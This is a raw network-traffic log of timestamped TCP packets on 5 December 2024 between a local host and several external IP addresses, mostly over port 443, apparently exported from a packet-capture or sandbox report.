Dec 5, 2024 14:01:56.458518982 CET	443	49842	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.458625078 CET	49842	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.458775043 CET	49842	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.458789110 CET	443	49842	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.469289064 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.469305038 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.472188950 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.472306967 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.473304987 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.473311901 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.473637104 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.473643064 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.557878017 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.557919979 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.558013916 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.558415890 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.558429003 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.567802906 CET	443	49836	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.569931984 CET	49836	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.569957018 CET	443	49836	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.571913004 CET	49836	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.571919918 CET	443	49836	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.884479046 CET	443	49833	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.884556055 CET	443	49833	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.884619951 CET	49833	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.885040045 CET	49833	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.885055065 CET	443	49833	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.885070086 CET	49833	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.885076046 CET	443	49833	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.887717962 CET	49844	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.887763977 CET	443	49844	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.887923956 CET	49844	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.888154984 CET	49844	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.888170004 CET	443	49844	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.984381914 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.984407902 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.984484911 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.984502077 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.984520912 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.984556913 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.002548933 CET	443	49836	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.005599022 CET	443	49836	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.005748987 CET	49836	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.005773067 CET	49836	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.005785942 CET	443	49836	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.005800962 CET	49836	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.005806923 CET	443	49836	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.008327961 CET	49845	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.008356094 CET	443	49845	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.008625031 CET	49845	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.008965969 CET	49845	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.008979082 CET	443	49845	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.012367010 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.012376070 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.012491941 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.012512922 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.012640953 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.029145956 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.029258966 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.052561998 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.052592039 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.053283930 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.058923006 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.058954000 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.118208885 CET	443	49838	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.118686914 CET	49838	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.118702888 CET	443	49838	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.119432926 CET	49838	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.119437933 CET	443	49838	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.120126009 CET	443	49839	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.120683908 CET	49839	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.120703936 CET	443	49839	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.121208906 CET	49839	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.121215105 CET	443	49839	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.188895941 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.188977003 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.188996077 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.189064026 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.211630106 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.211720943 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.211730003 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.211802006 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.241934061 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.242006063 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.242033005 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.242194891 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.261307001 CET	80	49840	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:57.262778044 CET	49847	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:57.262829065 CET	443	49847	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:57.262969017 CET	49847	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:57.263251066 CET	49847	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:57.263267040 CET	443	49847	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:57.264724016 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.264864922 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.264873028 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.264918089 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.305428982 CET	49840	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:57.368424892 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.368520021 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.368529081 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.368576050 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.384031057 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.384105921 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.384113073 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.384159088 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.406732082 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.406806946 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.406814098 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.406858921 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.422168016 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.422231913 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.422239065 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.422352076 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.435863018 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.435925961 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.435935020 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.435986996 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.444515944 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.444576979 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.444583893 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.444627047 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.453244925 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.453330040 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.453337908 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.453381062 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.464776039 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.464840889 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.464850903 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.464900970 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.552051067 CET	443	49838	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.555954933 CET	443	49838	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.556133032 CET	49838	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.556233883 CET	49838	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.556253910 CET	443	49838	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.556272984 CET	49838	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.556279898 CET	443	49838	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.557775021 CET	443	49839	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.559794903 CET	49848	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.559812069 CET	443	49848	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.559885979 CET	49848	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.560045004 CET	49848	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.560058117 CET	443	49848	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.561029911 CET	443	49839	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.561223030 CET	49839	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.561269999 CET	49839	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.561279058 CET	443	49839	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.561292887 CET	49839	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.561300039 CET	443	49839	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.561954975 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.562035084 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.562042952 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.562083960 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.563779116 CET	49849	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.563800097 CET	443	49849	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.563937902 CET	49849	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.564090014 CET	49849	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:57.564104080 CET	443	49849	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:57.570611954 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.570682049 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.570698977 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.570741892 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.581317902 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.581393003 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.581408978 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.581465960 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.588752985 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.588826895 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.588839054 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.588881016 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.595869064 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.595938921 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.595947027 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.596003056 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.604717970 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.604784966 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.604794025 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.604832888 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.611469984 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.611545086 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.611552000 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.611608028 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.618474960 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.618558884 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.618567944 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.618617058 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.627275944 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.627355099 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.627362013 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.627403021 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.632997990 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.633061886 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.633069992 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.633111954 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.641978025 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.642045021 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.642054081 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.642096043 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.649100065 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.649192095 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.649199963 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.649240017 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.657856941 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.657924891 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.657932043 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.657989025 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.766756058 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.766861916 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.766879082 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.766926050 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.771178961 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.771254063 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.771262884 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.771331072 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.775722027 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.775816917 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.775825024 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.775870085 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.782028913 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.782114983 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.782124043 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.782174110 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.786654949 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.786739111 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.786756039 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.786801100 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.791240931 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.791327000 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.791337013 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.791378975 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.797152042 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.797214985 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.797221899 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.797324896 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.801745892 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.801820040 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.801826954 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.801867962 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.807801008 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.807873011 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.807883978 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.807930946 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.812232018 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.812344074 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.812355995 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.812397003 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.817548990 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.817627907 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.817634106 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.817677975 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.822122097 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.822208881 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.822216034 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.822257042 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.826751947 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.826829910 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.826837063 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.826883078 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.832613945 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.832683086 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.832689047 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.832732916 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.837261915 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.837321997 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.837328911 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.837367058 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.843614101 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.843678951 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.843684912 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.843722105 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.959242105 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.959331036 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.959345102 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.959419966 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.964077950 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.964220047 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.964237928 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.964282036 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.967761040 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.967837095 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.967844963 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.967952967 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.971484900 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.971601009 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.971606970 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.971648932 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.976197004 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.976284981 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.976290941 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.976334095 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.980129957 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.980204105 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.980211020 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.980249882 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.984747887 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.984819889 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.984826088 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.984874964 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.988429070 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.988502026 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.988508940 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.988552094 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.992213964 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.992305040 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.992311954 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.992351055 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.996495962 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.996573925 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:57.996581078 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:57.996624947 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.000118971 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.000175953 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.000181913 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.000240088 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.004950047 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.005069017 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.005084991 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.005141973 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.008690119 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.008750916 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.008758068 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.008805990 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.013389111 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.013470888 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.013478041 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.013519049 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.017077923 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.017143965 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.017149925 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.017190933 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.018268108 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.018316984 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.018322945 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.018361092 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.018393040 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.018421888 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.022253036 CET	49837	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.022269964 CET	443	49837	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.089570999 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:58.089653015 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:58.091624022 CET	49843	443	192.168.2.6	150.171.28.10
